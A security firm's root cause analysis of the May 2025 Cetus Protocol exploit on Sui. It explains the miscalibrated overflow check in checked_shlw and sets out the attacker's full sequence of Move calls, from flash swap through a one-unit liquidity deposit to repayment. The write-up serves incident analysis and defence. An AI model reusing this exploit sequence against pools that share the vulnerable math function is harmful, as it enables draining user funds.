Cetus Protocol $260M Exploit: Root Cause Analysis and Technical Breakdown
This analysis aims to dissect the root cause of Cetus Protocol hack, providing a clear understanding of the incident, the exploited vulnerability, and the mechanics of the attack.
Updates:
We have updated our blog with details of the exploited vulnerability. Note that this vulnerability may affect other projects that use the same vulnerable math function. Make sure to review your code to prevent similar exploits happen.This draft is a public preview so you can see our progress and share any early feedback.
Introduction
On May 22, 2025, Cetus Protocol, a key decentralized exchange (DEX) on the SUI blockchain, suffered a significant security breach, with the incident detected earlier in the day. This incident led to over $260 million being drained from liquidity pools, causing significant market disruptions. On-chain analysts noting the attacker bridged $61.5 million worth of USDC to Ethereum, converting around 23,000 ETH worth about $62 million.
Cetus Protocol responded by pausing its smart contracts to prevent further losses and is currently investigating. The attack caused some tokens in the Sui ecosystem falling by up to 80%. SUI prices dropped by around 7%, trading near $3.8 by press time, and CETUS tokens fell by 40%.
This analysis aims to break down the incident for a clearer understanding, focusing on what happened and its broader implications.
Background on Cetus Protocol
Cetus Protocol is a pioneering decentralized exchange (DEX) and concentrated liquidity protocol built on the Sui and Aptos blockchains, focusing on Move-based ecosystems. It aims to provide a robust liquidity network for trading, making it easier for users and assets to interact within the DeFi ecosystem. Its features include a non-custodial web3 wallet and integration with TradingView for advanced charting, emphasizing security through open-source smart contracts and permissionless protocol design .
Technical Analysis of the Exploit
To understand the exact nature of the vulnerability, we at Verichains utilized our latest Revela-next decompiler. Revela-next is a groundbreaking tool that allows for the decompilation of Move bytecode into readable source code with AI assisted .
Revela AI: Move Decompiler in Action
Root Cause Analysis
We’ll choose SCA/SUI to audit the attack, all within this single transaction at https://suivision.xyz/txblock/ETCaBBiffASZ3oXBBcoM6VYd3NcTb5T1Sqo4xLECKZws?tab=Overview.
Vulnerable Shift‐Left Check
The heart of the bug lives in checked_shlw(u256)
, which is supposed to detect when a 256-bit value would overflow if shifted left by 64 bits.
Decompiled code could be found at https://revela.verichains.io/sui/0x714a63a0dba6da4f017b42d5d0fb78867f18bcde904868e51d951a5a6f5b7f57?rpc=mainnet&module=math_u256
Where
115792089237316195417293883273301227089434195242432897623355228563449095127040 is (0xFFFFFFFFFFFFFFFF << 192)
The correct check should be value >= 6277101735386680763835789423207666416102355444464034512896
(which is 1<<192
).
How Δₐ Is Computed
Every time liquidity is added within the correct range, the protocol computes how many “token A” must be deposited for a given liquidity amount L via:
public fun get_delta_a(
p0: u128,
p1: u128,
L: u128,
round_up: bool
): u64 {
let v0 = if (p0 > p1) { p0 - p1 } else { p1 - p0 };
if (v0 == 0 || L == 0) { return 0 };
// 1) full precision multiply into a 256-bit intermediate
let (prod, _) = full_mul(L, v0); // u256 = L × |p1–p0|
// 2) shift left by 64 bits (to scale by 2^64)
let (shifted, overflow) = checked_shlw(prod);
if (overflow) { abort 2 };
// 3) divide by p0*p1, rounding
div_round(shifted, full_mul(p0, p1), round_up) as u64
}
Under correct arthimetic,
would be enormous for a pool-wide L of ~10³².
But because checked_shlw
wraps the 320-bit prod<<64
back into 256 bits, the numerator collapses to a small residue, often just 1.
Step-by-Step Exploit
Below is the actual sequence of on-chain Move calls an attacker executes, interleaved with commentary.
// 0) FLASH-SWAP: borrow A (SCA) for a2b swap into SUI
let (bal_a_flash, bal_b_flash, flash_receipt) =
pool.flash_swap_internal(
&mut pool,
&cfg,
/*token A id*/ arg2,
/*amountA=*/ 20 402 195 370 006,
/*sqrtPriceLimit=*/ 4 295 048 016,
/*a2b=*/ true,
/*b2a=*/ false,
/*deadline*/ clock
);
// 1) Destroy the zero-owed A from the flash swap
balance::destroy_zero(bal_a_flash);
// 2) Convert the raw B-balance into a bona fide SUI coin
let sui_coin = coin::from_balance(bal_b_flash);
At this point the attacker holds ∼20402195370006 A debt-free, and ∼5.56×10¹¹ SUI from the swap.
// 3) Read the current sqrt-price
let p_curr = pool.current_sqrt_price;
// 4) Compute ticks relative to price (ΔL, ΔU)
let ΔL = current_tick_index – lower_tick; // ~300 000–300 200 narrow range
let ΔU = upper_tick – current_tick_index;
// 5) OPEN a very narrow position [300 000, 300 200]
let pos = pool.open_position(&mut pool, &cfg, ΔL, ΔU);
// 6) ADD LIQUIDITY: deposit L = pool.total_liquidity
// but supply only “Δₐ = 1” A (thanks to the overflow bug)
let bal_rem = pool.add_liquidity(
&mut pool,
&cfg,
pos,
/*liquidity=*/ pool.liquidity,
/*max_a=*/ pool.liquidity,
/*max_b=*/ sui_coin
);
Internally, when clmm_math::get_amount_by_liquidity
calls get_delta_a
, the wrapped 〈〈prod << 64〉 mod 2²⁵⁶〉 yields 1, so the attacker deposits 1 A yet mints the full L of liquidity.
// 7) Compute how much liquidity rem_L corresponds to the
// original flash-loan of 20 402 195 370 006 A
let rem_L = clmm_math::get_liquidity_from_a(
lower_sqrt, upper_sqrt, 20 402 195 370 006, /*a2b=*/true
);
// 8) REMOVE that rem_L — getting back exactly the flash-loan
let (a_back, b_back) =
pool.remove_liquidity(&mut pool, &cfg, pos, rem_L, sui_coin);
// 9) REPAY the flash swap and keep the leftover SUI
pool.repay_flash_swap(&mut pool, &cfg, a_back, b_back, sui_coin);
Because rem_L
is computed correctly against the un-wrapped pool liquidity, removing it returns the full 20402195370006 “token A”. Repaying the original flash-swap consumes those tokens and a tiny fee; all other SUI (∼5.56×10¹¹) remains with the attacker.
Root Cause & Impact
Mis-sized overflow check:
checked_shlw
’s upper bound constant is wrong by 2⁶⁴, so all left-shifts of 256-bit values wrap silently.Liquidity math trusts that shift:
get_delta_a
uses that shift to scale by 2⁶⁴. After wrapping, its output is trivially 1 regardless of how huge L is.One-unit deposit mints full L: With only a single unit of token A the attacker mints all pool liquidity, then tears it back out for the flash-loan size.
Profit in B: The flash-swap into B (SUI) plus the tiny fee-less the repaid flash-loan in A - leaves a huge residual SUI balance as pure profit.
Conclusion & Lessons Learned
Through the use of Verichains’ Revela-next decompiler, a groundbreaking tool that leverages AI-assisted decompilation of Move bytecode into readable source code, our analysis pinpointed the root cause.
The root cause is a wrong constant in the overflow check of checked_shlw(u256) amth function, which was meant to prevent 256-bit values from wrapping when shifted left by 64 bits. Because that constant is too large, sufficiently big shifts silently wrap modulo 2²⁵⁶, collapsing a huge intermediate into a tiny residue. An attacker can thus deposit a single token, mint the entire pool liquidity, and then withdraw it to drain the funds.
Key takeaways:
Math safeguards: Always verify shift-left operations on multi-precision intermediates with the correct modulus bounds. One misplaced bit in an overflow check can collapse 320-bit arithmetic into a tiny 256-bit residue and turn every liquidity deposit into a “free mint.”
Rigorous auditing: The vulnerability underscores the need for rigorous auditing of all code paths, including those in dependency math libraries.
Advanced Tools for Security Analysis: The successful use of Revela-next in decompiling Move bytecode and analysis the exploit demonstrates the power of advanced decompilation tools in post-incident analysis. By enabling rapid identification of vulnerabilities, tools like Revela can significantly enhance the security of blockchain ecosystems, particularly for contracts deployed without accessible source code.
Oracle and Pricing Mechanism Security: While the attack primarily exploited liquidity math, it reinforces broader concerns about pricing mechanisms in DeFi. Protocols must integrate decentralized or manipulation-resistant oracles and implement real-time price validation to mitigate or limit damage from exploits.
While damaging, this incident can catalyze stronger security practices across the Sui DeFi ecosystem - prompting enhanced audit processes, improved protocol resilience, and more transparent risk disclosures to safeguard future innovation. The issue may affect other projects that use the same vulnerable math function.